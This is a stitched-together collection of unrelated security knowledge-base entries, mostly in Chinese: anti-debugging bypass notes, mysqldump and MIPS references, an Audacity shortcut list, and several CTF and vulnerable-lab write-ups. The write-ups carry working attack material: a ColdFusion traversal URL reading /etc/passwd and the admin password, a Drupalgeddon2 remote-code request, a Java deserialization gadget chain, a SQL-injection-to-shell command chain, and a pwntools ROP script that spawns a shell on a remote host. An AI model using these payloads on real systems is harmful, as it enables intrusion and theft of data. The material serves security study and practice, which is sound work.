# 62. 圆圈中最后剩下的数 ## 题目链接 [NowCoder](https://www.nowcoder.com/practice/f78a359491e64a50bce2d89cff857eb6?tpId=13&tqId=11199&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 让小朋友们围成一个大圈。然后,随机指定一个数 m,让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌,然后可以在礼品箱中任意的挑选礼物,并且不再回到圈中,从他的下一个小朋友开始,继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友,可以不用表演。 ## 解题思路 约瑟夫环,圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈,所以最后需要对 n 取余。 ```java public int LastRemaining_Solution(int n, int m) { if (n == 0) /* 特殊输入的处理 */ return -1; if (n == 1) /* 递归返回条件 */ return 0; return (LastRemaining_Solution(n - 1, m) + m) % n; } ```
sec-knowleage
### Detecting debugging概述 检测调试器的方法很多, 比如检测进程名之类. 这里我们介绍一种方法, 就是通过检测一些函数的调用情况来分析程序当前是否处于被调试状态 ```c int main() { if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf("DEBUGGING... Bye\n"); return 1; } printf("Hello\n"); return 0; } ``` 一个进程只能被一个进程ptrace, 如果你自己调用ptrace, 那么其它程序就无法通过ptrace调试或向你的程序注入代码. 如果程序当前被gdb调试, 那么ptrace函数就会返回错误, 也就侧面表明了检测到了调试器的存在. ### Detecting debugging绕过方法1 显然ptrace只能作用于使用ptrace的调试器, 我们可以用不使用ptrace的调试器. 我们也可以通过打补丁的方式将ptrace函数擦除, 更简单就是将ptrace的调用代码或是之后的校验给擦除了. 如果可执行文件(实际情况下不太可能)在编译时并没有启用-s选项(-s 选项能移除所有的符号表信息和重定位信息), 那么情况会变得简单很多. 我们从这个简单的情况来分析 ``` # objdump -t test_debug | grep ptrace 080482c0 F *UND* 00000075 ptrace@@GLIBC_2.0 ``` ptrace在`0x080482c0`位置被调用 ``` # objdump -d -M intel test_debug |grep 80482c0 80482c0: ff 25 04 96 04 08 jmp ds:0x8049604 80483d4: e8 e7 fe ff ff call 80482c0 <_init+0x28> ``` 那要是有启用-s选项, 该怎么处理呢? 这时我们需要使用gdb ``` # gdb test_debug gdb> bp ptrace Breakpoint 1 at 0x80482c0 gdb> run Breakpoint 1 at 0x400e02f0 ...... 0x400e02f0 <ptrace>: push %ebp 0x400e02f1 <ptrace+1>: mov %esp,%ebp 0x400e02f3 <ptrace+3>: sub $0x10,%esp 0x400e02f6 <ptrace+6>: mov %edi,0xfffffffc(%ebp) 0x400e02f9 <ptrace+9>: mov 0x8(%ebp),%edi 0x400e02fc <ptrace+12>: mov 0xc(%ebp),%ecx ------------------------------------------------------------------------------ Breakpoint 1, 0x400e02f0 in ptrace () from /lib/tls/libc.so.6 ``` 我们简单地断在了ptrace处, 现在输入finish执行到当前函数返回, 回到main函数里 ``` # gdb test_debug gdb> finish 00x80483d9 <main+29>: add $0x10,%esp 0x80483dc <main+32>: test %eax,%eax 0x80483de <main+34>: jns 0x80483fa <main+62> 0x80483e0 <main+36>: sub $0xc,%esp 0x80483e3 <main+39>: push $0x80484e8 0x80483e8 <main+44>: call 0x80482e0 ------------------------------------------------------------------------------ 0x080483d9 in main () ``` 将函数返回结果eax修改为正确的返回结果, 就可以了 ``` gdb> set $eax=0 gdb> c everything ok Program exited with code 016. _______________________________________________________________________________ No registers. gdb> ``` ### Detecting debugging绕过方法2 方法2就是编写自己的ptrace函数 如前几篇所述, `LD_PRELOAD`环境变量可以将可执行文件指向我们自己的ptrace函数. 我们写一个ptrace函数并生成目标文件 ``` c // -- ptrace.c -- // gcc -shared ptrace.c -o ptrace.so int ptrace(int i, int j, int k, int l) { printf(" PTRACE CALLED!\n"); } ``` 我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置 ``` gdb> set environment LD_PRELOAD ./ptrace.so gdb> run PTRACE CALLED! Hello World! Program exited with code 015. gdb> ``` 可以看到程序无法检测到调试器了. > Reference: [Beginners Guide to Basic Linux Anti Anti Debugging Techniques](http://www.stonedcoder.org/~kd/lib/14-61-1-PB.pdf)
sec-knowleage
mysqldump === MySQL数据库中备份工具 ## 补充说明 **mysqldump命令** 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。 ### 语法 ```shell mysqldump(选项) ``` ### 选项 ```shell --add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句; --add-locks:备份数据库表时锁定数据库表; --all-databases:备份MySQL服务器上的所有数据库; --comments:添加注释信息; --compact:压缩模式,产生更少的输出; --complete-insert:输出完成的插入语句; --databases:指定要备份的数据库; --default-character-set:指定默认字符集; --force:当出现错误时仍然继续备份操作; --host:指定要备份数据库的服务器; --lock-tables:备份前,锁定所有数据库表; --no-create-db:禁止生成创建数据库语句; --no-create-info:禁止生成创建数据库库表语句; --password:连接MySQL服务器的密码; --port:MySQL服务器的端口号; --user:连接MySQL服务器的用户名。 --skip-lock-tables: 不锁表导出 ``` ### 实例 **导出整个数据库** ```shell mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql ``` **导出一个表** ```shell mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名 mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql ``` **导出一个数据库结构** ```shell mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql ``` `-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table` ### 问题解决 **锁表失败** ``` mysqldump: Got error: 1044: "Access denied for user 'appuser'@'1%' to database 'tc_mall'" when doing LOCK TABLES ``` 可使用`--skip-lock-tables`在导出数据阶段跳过锁表流程
sec-knowleage
--- title: 列出所有服务 --- ## 一键列出阿里云上的 OSS、ECS、RDS 服务 直接使用 `ls` 命令即可列出当前访问凭证下的云服务资源。 ```bash cf alibaba ls ``` 如果想指定区域,可以使用 `-r` 或者 `--region` 命令 ```bash cf alibaba ls -r cn-beijing ``` 在 CF 中还集成了阿里云的私有区域,不过在默认情况下是不调用的,如果想遍历阿里云的私有区域,可以使用 `-a` 命令表示遍历所有区域 ```bash cf alibaba ls -a ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年10月12日" } } </script>
sec-knowleage
# Adobe ColdFusion Directory Traversal Vulnerability (CVE-2010-2861) [中文版本(Chinese version)](README.zh-cn.md) Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995. There is a directory traversal vulnerability in the Adobe ColdFusion 9.0.1 and earlier, which allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/. ## Environment setup Execute the following command to start Adobe CouldFusion 8.0.1 server: ``` docker compose up -d ``` The server startup may take 1~5 minutes. After that, visit `http://your-ip:8500/CFIDE/administrator/enter.cfm` to see the initialization page, enter the password `admin` to initialize the entire server. ## POC Read the file `/etc/passwd` via `http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en`: ![](1.png) Read the background administrator password via `http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/ password.properties%00en`: ![](2.png)
sec-knowleage
--- title: Audacity date: 2022-11-23 16:23:31.701833 background: bg-[#0000e1] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 135 default keyboard shortcuts found in Audacity --- Keyboard Shortcuts ------------------ ### File Menu Shortcut | Action ---|--- `Ctrl` `N` | New `Ctrl` `O` | Open `Ctrl` `W` | Close `Ctrl` `Q` | Exit `Ctrl` `S` | Save project `Ctrl` `Shift` `E` | Export audio `Ctrl` `Shift` `L` | Export multiple `Ctrl` `Shift` `I` | Import audio {.shortcuts} ### Edit Menu Shortcut | Action ---|--- `Ctrl` `Z` | Undo `Ctrl` `Y` | Redo `Ctrl` `X` | Cut `Ctrl` `K` | Delete `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Ctrl` `D` | Duplicate `Ctrl` `P` | Preferences `Ctrl` `Alt` `X` | Split cut `Ctrl` `Alt` `K` | Split delete `Ctrl` `L` | Silence audio `Ctrl` `T` | Trim audio `Ctrl` `Alt` `I` | Split new `Ctrl` `J` | Join `Ctrl` `Shift` `J` | Detach at silences `Ctrl` `B` | Add label at selection `Ctrl` `M` | Add label at playback position `Ctrl` `Alt` `V` | Paste text to new label `Alt` `X` | Cut labeled audio `Alt` `K` | Delete labeled audio `Alt` `Shift` `X` | Split cut labeled audio `Alt` `Shift` `K` | Split delete labeled audio `Alt` `L` | Silence labeled audio `Alt` `Shift` `C` | Copy labeled audio `Alt` `I` | Split labeled audio `Alt` `J` | Join labeled audio `Alt` `Shift` `J` | Detach labeled audio at silences {.shortcuts} ### Extra Menu {.row-span-4} Shortcut | Action ---|--- `F11` | Toggle full screen `1` | Play one second `B` | Play to selection `Shift` `F5` | Play before selection start `Shift` `F6` | Play after selection start `Shift` `F7` | Play before selection end `Shift` `F8` | Play after selection end `Ctrl` `Shift` `F5` | Play before and after selection start `Ctrl` `Shift` `F7` | Play before and after selection end `C` | Play cut preview `F1` | Selection tool `F2` | Envelope tool `F3` | Draw tool `F4` | Zoom tool `F5` | Time shift tool `F6` | Multi tool `A` | Previous tool `D` | Next tool `Backspace` | Delete `Alt` `Left` | Move to previous label `Alt` `Right` | Move to next label `Left` | Short seek left during playback `Right` | Short seek right during playback `Shift` `Left` | Long seek left during playback `Shift` `Right` | Long seek right during playback `Shift` `I` | Change recording device `Shift` `O` | Change playback device `Shift` `H` | Change audio host `Shift` `N` | Change recording channels `Shift` `Home` | Selection to start `Shift` `End` | Selection to end `Shift` `Left` | Selection extend left `Shift` `Right` | Selection extend right `Ctrl` `Shift` `Right` | Selection contract left `Ctrl` `Shift` `Left` | Selection contract right `Ctrl` `Shift` `F6` | Move backwards from toolbars to tracks `Ctrl` `F6` | Move forward from toolbars to tracks `Up` | Move focus to previous track `Down` | Move focus to next track `Ctrl` `Home` | Move focus to first track `Ctrl` `End` | Move focus to last track `Shift` `Up` | Move focus to previous and select `Shift` `Down` | Move focus to next and select `Enter` | Toggle focused track `Left` | Cursor left `Right` | Cursor right `,` | Cursor short jump left `.` | Cursor short jump right `Shift` `,` | Cursor long jump left `Shift` `.` | Cursor long jump right `Shift` `P` | Change pan on focused track `Alt` `Shift` `Left` | Pan left on focused track `Alt` `Shift` `Right` | Pan right on focused track `Shift` `G` | Change gain on focused track `Alt` `Shift` `Up` | Increase gain on focused track `Alt` `Shift` `Down` | Decrease gain on focused track `Shift` `U` | Mute or unmute focused track `Shift` `S` | Solo or unsolo focused track `Shift` `C` | Close focused track {.shortcuts} ### Select Menu Shortcut | Action ---|--- `Ctrl` `A` | Select all `Ctrl` `Shift` `A` | Select none `Z` | Select at zero crossings `Ctrl` `Shift` `K` | Select in all tracks `Ctrl` `Shift` `Y` | Select in all sync-locked tracks `[` | Left at playback position `]` | Right at playback position `Shift` `J` | Track start to cursor `Shift` `K` | Cursor to track end `Q` | Toggle spectral selection `Ctrl` `Alt` `P` | Previous clip `Ctrl` `Alt` `N` | Next clip {.shortcuts} ### View Menu Shortcut | Action ---|--- `Ctrl` `1` | Zoom in `Ctrl` `2` | Zoom normal `Ctrl` `3` | Zoom out `Ctrl` `E` | Zoom to selection `Shift` `Z` | Zoom toggle `Ctrl` `F` | Fit to width `Ctrl` `Shift` `F` | Fit to height `Ctrl` `Shift` `C` | Collapse all tracks `Ctrl` `Shift` `X` | Expand collapsed tracks `Ctrl` `[` | Skip to selection start `Ctrl` `]` | Skip to selection end {.shortcuts} ### Transport Menu Shortcut | Action ---|--- `Space` | Play or stop `X` | Play or stop and set cursor `Shift` `Space` | Loop play `P` | Pause `R` | Record `Shift` `R` | Record new track `Shift` `T` | Timer record... `Shift` `D` | Punch and roll record `P` | Pause `J` | Cursor to track start `K` | Cursor to track end `Home` | Cursor to project start `End` | Cursor to project end {.shortcuts} ### Tracks Menu Shortcut | Action ---|--- `Ctrl` `Shift` `N` | Add new mono track `Ctrl` `Shift` `M` | Mix and render to new track `Ctrl` `U` | Mute all tracks `Ctrl` `Shift` `U` | Unmute all tracks {.shortcuts} ### Effect Menu Shortcut | Action ---|--- `Ctrl` `R` | Repeat last effect {.shortcuts} Also see -------- - [Keyboard shortcuts for Audacity](https://manual.audacityteam.org/man/keyboard_shortcut_reference.html) _(manual.audacityteam.org)_
sec-knowleage
# Java pwn (misc, 300p) This was a pretty straightforward task, since we've done similar exploits already here: https://github.com/p4-team/ctf/tree/master/2016-08-21-bioterra-ctf/akashic_records https://github.com/p4-team/ctf/tree/master/2018-01-20-insomnihack/pwn_magic_hat In the task we get a [Java Web Archive](blueprint.war) and IP where this app is running. We can just add this archive as library to a project in IntelliJ and it will decompile the code for us. Once we do that it becomes quite obvious what is the purpose here. We've got a web servlet: ```java @WebServlet({"/jail"}) public class Server extends HttpServlet { private static final long serialVersionUID = 1L; public Server() { } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception var6) { response.setStatus(500); var6.printStackTrace(response.getWriter()); } } } ``` So it basically reads objects from the POST payload and deserialize them with custom deserializer. Interestingly it also sends back the stacktrace if something goes wrong. The deserializer is: ```java public class CustomOIS extends ObjectInputStream { private static final String[] whitelist = new String[]{"javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person"}; public CustomOIS(ServletInputStream is) throws IOException { super(is); } public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } else { return super.resolveClass(des); } } } ``` It's nice that organizers showed exacly which classes we can use, especially including stuff like `ConstantTransformer`, `InvokerTransformer` and `Flag`. If we check the `Flag` class it's actually: ```java public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() { } public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } } ``` So we basically need to deserialize the Flag object and then call `getFlag` method, and the server should send back the stacktrace with the flag. The idea is to use transformers chain, which invokes `getFlag` method on `Flag` object when performing transformation, and use this chain in a TiedMapEntry of a LazyMap. We place this entry in a map and send this map to the server. Once the server deserializes the payload it will have to resolve the map entry, and thus call the transformers, firing the payload. Our exploit payload is: ```java private static Object preparePayload() { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Flag.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getFlag", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new ConstantTransformer(1)}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("foo", "foo"); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); Object[] nodesArray = Whitebox.getInternalState(innerMap, "table"); Object node = Arrays.stream(nodesArray) .filter(Objects::nonNull) .findFirst() .orElseThrow(() -> new RuntimeException("this can't happen")); Whitebox.setInternalState(node, "key", entry); return innerMap; } ``` Keep in mind we don't want the map to "resolve" the lazy tied map entry on our side, so we don't insert the entry directly to the map using map methods. Instead we use reflection to directly access the array backing the map. We send this payload via: ```java public static void main(String[] args) throws IOException { RestTemplate restTemplate = new RestTemplate(); Object payload = preparePayload(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { ObjectOutput out = new ObjectOutputStream(bos); out.writeObject(payload); out.flush(); byte[] yourBytes = bos.toByteArray(); HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes); ResponseEntity<String> response = restTemplate.postForEntity("http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail", entity, String.class); System.out.println(response); System.out.println(response.getStatusCode()); System.out.println(response.getBody()); } catch (HttpServerErrorException ex) { System.out.println(ex.getResponseBodyAsString()); } finally { try { bos.close(); } catch (IOException ex) { // ignore close exception } } } ``` And we get back the flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
sec-knowleage
# Photo Gallery - FLAG2 ## 0x00 Space Used ![](../flag1/imgs/index.jpg) We know there are images taking some of the spaces here, but the total space used are showing 0. So as we already got the source code of the page, we can check how the space calculated in [line 39][1]. ```python rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' ``` So here we can see the commands here. ```bash du -ch filenames || exit 0 ``` And we may change file name to inject with commands here. ## 0x01 Stacked Queries As we have the table here | id | title | parent | filename | | -- | ---------------- | ------ | ------------------ | | 1 | Utterly adorable | 1 | files/adorable.jpg | | 2 | Purrfect | 1 | files/purrfect.jpg | | 3 | Invisible | 1 | FLAG1 | Try modify image title ```sql id=1;UPDATE photos SET title='test' WHERE id=3;COMMIT;-- ``` Successfully updated file title 3. ![](./imgs/filename.jpg) ## 0x02 Remote Code Execution Now we can update **filename** to perform RCE. [http://127.0.0.1/xxxxxxxxxx/fetch?id=1;UPDATE photos SET filename='* || ls > test' WHERE id=3;COMMIT;--]() ```sql id=1;UPDATE photos SET filename='* || ls > test' WHERE id=3;COMMIT;-- ``` Visit **INDEX** http://127.0.0.1/xxxxxxxxxx/ page to execute the command. And then go check the execution result [http://127.0.0.1/xxxxxxxxxx/fetch?id=1.1 UNION SELECT 'test'--]() ```sql id=1.1 UNION SELECT 'test'-- ``` Here we got **ls** results in file **test** ``` Dockerfile files main.py main.pyc prestart.sh requirements.txt test uwsgi.ini ``` ## 0x03 FLAG [http://127.0.0.1/xxxxxxxxxx/fetch?id=1;UPDATE photos SET filename='* || env > test' WHERE id=3;COMMIT;--]() ```sql id=1;UPDATE photos SET filename='* || env > test' WHERE id=3;COMMIT;-- ``` Visit **INDEX** http://127.0.0.1/xxxxxxxxxx/ page to execute the command. And then go get the flags [http://127.0.0.1/xxxxxxxxxx/fetch?id=1.1 UNION SELECT 'test'--]() ```sql id=1.1 UNION SELECT 'test'-- ``` Here we got all 3 flags in one place. ![](./imgs/flag.jpg) [1]: https://github.com/testerting/hacker101-ctf/blob/master/photo_gallery/flag0/main.py#L39
sec-knowleage
# Drupal Drupalgeddon 2 Remote Code Execution Vulnerability (CVE-2018-7600) [中文版本(Chinese version)](README.zh-cn.md) Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations including the Form API. References: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ ## Vulnerable environment Run the following command to start a vulnerable Drupal 8.5.0 environment: ``` docker compose up -d ``` After the environment is started, visit `http://your-ip:8080/` and you will see the drupal installation page. Complete the drupal installation using the "standard" profile. Because there is no mysql environment, you should select sqlite database when installing. Once the installation is complete you are ready to start exploiting it. ## Exploit Referring to [a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py), we can send the following request to drupal: ``` POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id ``` Upon successful execution of the code, the id command is executed: ![](1.png)
sec-knowleage
#!/usr/bin/python3 from pwn import * def exploit(connection): connection.recvuntil(b"Now loading...\n") info("Step 1: Leak locations of libc and stack by exploiting the format string vulnerability...") connection.recvuntil(b"Input name > ") connection.send(b"%p\t" * 9) message = connection.recvuntil(b"OK? [y/n] ") match = re.match(b"(?P<leak>(((\\(nil\\)|0x[0-9a-f]+))\t){9})\nOK\\? \\[y/n\\] \\Z", message) leak = match.group("leak").split(b"\t") stack_va = int(leak[5], 0) info("stack_va = %012x", stack_va) libc_start_main_va = int(leak[8], 0) info("libc_start_main_va = %012x", libc_start_main_va) libc_va = libc_start_main_va - 0x270b3 info("libc_va = %012x", libc_va) info("Step 2: Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow...") target_va = libc_va + 0x114a74040 + 0x2f50 info("target_va = %012x", target_va) buffer = BytesIO() buffer.write(b"y") buffer.write(b"A" * 0x2f) buffer.write(p64(target_va + 8)[: 7]) connection.send(buffer.getvalue()) info("Step 3: Execute shell with ROP sequence from the stack buffer overflow...") connection.recvuntil(b"Input message > ") buffer = BytesIO() buffer.write(p64(libc_va + 0x141ee0)) # xor r10d, r10d ; mov eax, r10d ; ret buffer.write(p64(libc_va + 0x141ee1)) # xor edx, edx ; mov eax, r10d ; ret buffer.write(p64(libc_va + 0x0e6ce6)) # execve("/bin/sh", r10, rdx) buffer.write(b"B" * 0x18) buffer.write(p64(stack_va - 0x68)[: 7]) connection.send(buffer.getvalue()) connection.recvuntil(b"Bye!\n") context.log_level = "info" connection.interactive() context.log_level = "debug" with remote("pwn01.chal.ctf.westerns.tokyo", 29246) as connection: exploit(connection)
sec-knowleage
### MIPS通用寄存器介绍 MIPS 有 32 个通用寄存器 (General purpose registers),以美元符号 (`$`) 表示。可以表示为 `$0~$31`,也可以用寄存器名称表示如,`$sp` 、 `$t9` 、`$fp` 等等。 | Register Number | Conventional Name | Usage | Usage | | --------------- | ----------------- | ------------------------------------------------------ | --------------------------------------------------------- | | $0 | $zero | Hard-wired to 0 | | | $1 | $at | Reserved for pseudo-instructions | | | $2 - $3 | $v0, $v1 | Return values from functions | 保存表达式或者函数返回值 | | $4 - $7 | $a0 - $a3 | Arguments to functions - not preserved by subprograms | 函数的参数 | | $8 - $15 | $t0 - $t7 | Temporary data, not preserved by subprograms | | | $16 - $23 | $s0 - $s7 | Saved registers, preserved by subprograms | | | $24 - $25 | $t8 - $t9 | More temporary registers, not preserved by subprograms | 临时寄存器,作为 $t0 - $t7 的补充,$t9 通常与调用函数有关 | | $26 - $27 | $k0 - $k1 | Reserved for kernel. Do not use. | | | $28 | $gp | Global Area Pointer (base of global data segment) | | MIPS 作为一种 load-store 架构,意味着当我们要访问内存必须要通过加载和存储指令才能访问。所有其他指令(add,sub,mul,div等等)必须从寄存器获取其操作数并将其结果存储在寄存器中。例如下面的例子: ``` sum = x + y ``` 我们假设 sum 和 x , y 是程序中的变量,其 MIPS 汇编表示为: ``` # sum = x + y lw $t0, x # Load x from memory into a CPU register lw $t1, y # Load y from memory into a CPU register add $t0, $t0, $t1 # Add x and y sw $t0, sum # Store the result from the CPU register to memory ``` ### MIPS特殊寄存器介绍 MIPS32 架构还定义了3个特殊寄存器,分别是 PC(程序计数器)、HI (乘除结果高位寄存器)和 LO (乘除结果低位寄存器)。在进行乘运算的时候,HI 和 LO 保存乘法的结果,其中 HI 保存高32位,LO 保存低32位。而在除法运算中,HI 保存余数,LO 保存商。 ### MIPS指令**ADD – Add (with overflow)** | Description: | Adds two registers and stores the result in a register | | ------------ | ------------------------------------------------------ | | Operation: | $d = $s + $t; advance_pc (4); | | Syntax: | add $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0000` | ### MIPS指令**ADDI -- Add immediate (with overflow)** | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $t = $s + imm; advance_pc (4); | | Syntax: | addi $t, $s, imm | | Encoding: | `0010 00ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**ADDIU -- Add immediate unsigned (no overflow)** | Description: | Adds a register and a sign-extended immediate value and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $t = $s + imm; advance_pc (4); | | Syntax: | addiu $t, $s, imm | | Encoding: | `0010 01ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**ADDU -- Add unsigned (no overflow)** | Description: | Adds two registers and stores the result in a register | | ------------ | ------------------------------------------------------ | | Operation: | $d = $s + $t; advance_pc (4); | | Syntax: | addu $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0001` | ### MIPS指令**AND -- Bitwise and** | Description: | Bitwise ands two registers and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $s & $t; advance_pc (4); | | Syntax: | and $d, $s, $t | | Encoding: | `0000 00ss ssst tttt dddd d000 0010 0100` | ### MIPS指令**ANDI -- Bitwise and immediate** | Description: | Bitwise ands a register and an immediate value and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $t = $s & imm; advance_pc (4); | | Syntax: | andi $t, $s, imm | | Encoding: | `0011 00ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**BEQ -- Branch on equal** | Description: | Branches if the two registers are equal | | ------------ | ----------------------------------------------------------- | | Operation: | if $s == $t advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | beq $s, $t, offset | | Encoding: | `0001 00ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**BGEZ -- Branch on greater than or equal to zero** | Description: | Branches if the register is greater than or equal to zero | | ------------ | ---------------------------------------------------------- | | Operation: | if $s >= 0 advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bgez $s, offset | | Encoding: | `0000 01ss sss0 0001 iiii iiii iiii iiii` | ### MIPS指令**BGEZAL -- Branch on greater than or equal to zero and link** | Description: | Branches if the register is greater than or equal to zero and saves the return address in $31 | | ------------ | ------------------------------------------------------------ | | Operation: | if $s >= 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bgezal $s, offset | | Encoding: | `0000 01ss sss1 0001 iiii iiii iiii iiii` | ### MIPS指令**BGTZ -- Branch on greater than zero** | Description: | Branches if the register is greater than zero | | ------------ | --------------------------------------------------------- | | Operation: | if $s > 0 advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bgtz $s, offset | | Encoding: | `0001 11ss sss0 0000 iiii iiii iiii iiii` | ### MIPS指令**BLEZ -- Branch on less than or equal to zero** | Description: | Branches if the register is less than or equal to zero | | ------------ | ---------------------------------------------------------- | | Operation: | if $s <= 0 advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | blez $s, offset | | Encoding: | `0001 10ss sss0 0000 iiii iiii iiii iiii` | ### MIPS指令**BLTZ -- Branch on less than zero** | Description: | Branches if the register is less than zero | | ------------ | --------------------------------------------------------- | | Operation: | if $s < 0 advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bltz $s, offset | | Encoding: | `0000 01ss sss0 0000 iiii iiii iiii iiii` | ### MIPS指令**BLTZAL -- Branch on less than zero and link** | Description: | Branches if the register is less than zero and saves the return address in $31 | | ------------ | ------------------------------------------------------------ | | Operation: | if $s < 0 $31 = PC + 8 (or nPC + 4); advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bltzal $s, offset | | Encoding: | `0000 01ss sss1 0000 iiii iiii iiii iiii` | ### MIPS指令BNE -- Branch on not equal | Description: | Branches if the two registers are not equal | | ------------ | ----------------------------------------------------------- | | Operation: | if $s != $t advance_pc (offset << 2)); else advance_pc (4); | | Syntax: | bne $s, $t, offset | | Encoding: | `0001 01ss ssst tttt iiii iiii iiii iiii` | ### MIPS指令**DIV -- Divide** | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | ------------------------------------------------------------ | | Operation: | $LO = $s / $t; $HI = $s % $t; advance_pc (4); | | Syntax: | div $s, $t | | Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1010` | ### MIPS指令**DIVU -- Divide unsigned** | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | ------------------------------------------------------------ | | Operation: | $LO = $s / $t; $HI = $s % $t; advance_pc (4); | | Syntax: | divu $s, $t | | Encoding: | `0000 00ss ssst tttt 0000 0000 0001 1011` | ### MIPS指令**J -- Jump** | Description: | Jumps to the calculated address | | ------------ | --------------------------------------------------- | | Operation: | PC = nPC; nPC = (PC & 0xf0000000) \| (target << 2); | | Syntax: | j target | | Encoding: | `0000 10ii iiii iiii iiii iiii iiii iiii` | ### MIPS指令**JAL -- Jump and link** | Description: | Jumps to the calculated address and stores the return address in $31 | | ------------ | ------------------------------------------------------------ | | Operation: | $31 = PC + 8 (or nPC + 4); PC = nPC; nPC = (PC & 0xf0000000) \| (target << 2); | | Syntax: | jal target | | Encoding: | `0000 11ii iiii iiii iiii iiii iiii iiii` | ### MIPS指令**JR -- Jump register** | Description: | Jump to the address contained in register $s | | ------------ | -------------------------------------------- | | Operation: | PC = nPC; nPC = $s; | | Syntax: | jr $s | | Encoding: | `0000 00ss sss0 0000 0000 0000 0000 1000` | ### 